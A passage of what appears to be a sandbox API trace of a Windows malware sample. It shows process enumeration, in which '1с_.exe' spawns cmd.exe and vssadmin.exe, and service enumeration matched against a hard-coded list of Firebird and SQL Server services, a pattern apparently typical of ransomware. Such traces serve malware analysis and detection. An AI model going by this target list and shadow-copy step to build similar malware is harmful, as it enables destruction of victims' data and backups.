lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0043.825] lstrlenW (lpString="distribution-gif.exe") returned 20 [0043.825] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0043.825] lstrlenW (lpString="tribunal.exe") returned 12 [0043.825] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0043.826] lstrlenW (lpString="aafeof.exe") returned 10 [0043.826] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0043.826] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0043.826] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0043.826] lstrlenW (lpString="encryption.exe") returned 14 [0043.826] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.826] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.826] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0043.827] lstrlenW (lpString="dllhost.exe") returned 11 [0043.827] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0043.827] lstrlenW (lpString="dllhost.exe") returned 11 [0043.827] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0043.827] lstrlenW (lpString="1с_.exe") returned 7 [0043.827] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0043.828] lstrlenW (lpString="cmd.exe") returned 7 [0043.828] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0043.828] lstrlenW (lpString="conhost.exe") returned 11 [0043.828] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0043.828] lstrlenW (lpString="vssadmin.exe") returned 12 [0043.828] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0043.828] CloseHandle (hObject=0x198) returned 1 [0043.829] Sleep (dwMilliseconds=0x1f4) [0044.835] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58fd80 [0044.862] EnumServicesStatusExW (in: hSCManager=0x58fd80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0044.864] GetLastError () returned 0xea [0044.864] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x123e) returned 0x60eb98 [0044.864] EnumServicesStatusExW (in: hSCManager=0x58fd80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60eb98, cbBufSize=0x123e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60eb98, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0044.865] CloseServiceHandle (hSCObject=0x58fd80) returned 1 [0044.865] lstrlenW (lpString="Appinfo") returned 7 [0044.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.865] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.865] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.865] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.865] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.865] lstrlenW (lpString="AudioSrv") returned 8 [0044.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0044.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0044.866] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0044.866] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0044.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0044.866] lstrlenW (lpString="BFE") returned 3 [0044.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.866] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.866] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.866] lstrlenW (lpString="CryptSvc") returned 8 [0044.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0044.866] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.866] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.866] lstrlenW (lpString="CscService") returned 10 [0044.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0044.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0044.866] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0044.866] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0044.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0044.866] lstrlenW (lpString="DcomLaunch") returned 10 [0044.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.866] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.866] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.866] lstrlenW (lpString="Dhcp") returned 4 [0044.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.867] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.867] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.867] lstrlenW (lpString="Dnscache") returned 8 [0044.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.867] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.867] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.867] lstrlenW (lpString="DPS") returned 3 [0044.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.867] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.867] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.867] lstrlenW (lpString="eventlog") returned 8 [0044.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0044.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0044.867] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0044.867] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0044.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0044.867] lstrlenW (lpString="EventSystem") returned 11 [0044.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.867] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.867] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.867] lstrlenW (lpString="gpsvc") returned 5 [0044.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.867] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.869] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.869] lstrlenW (lpString="iphlpsvc") returned 8 [0044.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.869] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.869] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.869] lstrlenW (lpString="LanmanServer") returned 12 [0044.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.869] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.869] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.869] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.869] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.869] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.869] lstrlenW (lpString="lmhosts") returned 7 [0044.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.869] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.869] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.869] lstrlenW (lpString="MMCSS") returned 5 [0044.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0044.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0044.869] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0044.869] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0044.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0044.869] lstrlenW (lpString="MpsSvc") returned 6 [0044.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.870] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.870] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.870] lstrlenW (lpString="Netman") returned 6 [0044.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0044.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0044.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0044.870] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0044.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0044.870] lstrlenW (lpString="netprofm") returned 8 [0044.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.870] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.870] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.870] lstrlenW (lpString="NlaSvc") returned 6 [0044.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.870] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.870] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.892] lstrlenW (lpString="nsi") returned 3 [0044.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.892] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.892] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.892] lstrlenW (lpString="PcaSvc") returned 6 [0044.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.892] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.892] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.892] lstrlenW (lpString="PlugPlay") returned 8 [0044.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.893] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.893] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.893] lstrlenW (lpString="Power") returned 5 [0044.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.893] lstrlenW (lpString="ProfSvc") returned 7 [0044.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.893] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.893] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.893] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.893] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.893] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.893] lstrlenW (lpString="RpcSs") returned 5 [0044.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.894] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.894] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.894] lstrlenW (lpString="SamSs") returned 5 [0044.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0044.894] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.894] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.894] lstrlenW (lpString="Schedule") returned 8 [0044.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.894] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.894] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.894] lstrlenW (lpString="SENS") returned 4 [0044.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.894] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.894] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.894] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.894] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.894] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.895] lstrlenW (lpString="Spooler") returned 7 [0044.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.895] lstrlenW (lpString="SysMain") returned 7 [0044.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.895] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.895] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.895] lstrlenW (lpString="Themes") returned 6 [0044.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0044.895] lstrlenW (lpString="TrkWks") returned 6 [0044.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0044.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0044.895] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0044.895] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0044.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0044.895] lstrlenW (lpString="UxSms") returned 5 [0044.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0044.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0044.896] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0044.896] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0044.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0044.896] lstrlenW (lpString="VSS") returned 3 [0044.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0044.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0044.896] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0044.896] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0044.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0044.896] lstrlenW (lpString="WdiServiceHost") returned 14 [0044.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.896] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0044.896] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0044.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0044.896] lstrlenW (lpString="WdiSystemHost") returned 13 [0044.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.896] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0044.896] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0044.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0044.896] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0044.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.896] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0044.897] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0044.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0044.897] lstrlenW (lpString="Winmgmt") returned 7 [0044.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0044.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0044.897] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0044.897] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0044.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0044.897] lstrlenW (lpString="WPDBusEnum") returned 10 [0044.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.897] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0044.897] lstrcmpiW (lpString1="mssqlserver", 